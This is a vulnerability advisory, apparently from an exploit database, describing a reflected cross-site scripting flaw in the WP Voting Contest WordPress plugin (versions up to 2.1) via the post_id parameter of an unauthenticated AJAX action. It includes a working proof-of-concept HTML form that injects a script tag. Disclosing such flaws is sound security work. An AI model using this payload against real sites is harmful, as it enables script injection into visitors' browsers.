Lucene search

K
wpexploitBrandon James RoldanWPEX-ID:286B81A0-6F6D-4024-9BBC-6CB373990A7A
HistoryFeb 16, 2022 - 12:00 a.m.

WP Voting Contest <= 2.1 - Reflected Cross-Site Scripting

2022-02-1600:00:00
Brandon James Roldan
67
wordpress
voting contest
reflected cross-site scripting
social share icons
security exploit

EPSS

0.001

Percentile

44.3%

The plugin does not sanitise and escape the post_id parameter before outputting it back in the response via the wpvc_social_share_icons AJAX action (available to both unauthenticated and authenticated users), leading to a Reflected Cross-Site Scripting issue

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="action" value="wpvc_social_share_icons" />
      <input type="hidden" name="post_id" value='asd"/><script>alert(/XSS/)</script>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

EPSS

0.001

Percentile

44.3%

Related for WPEX-ID:286B81A0-6F6D-4024-9BBC-6CB373990A7A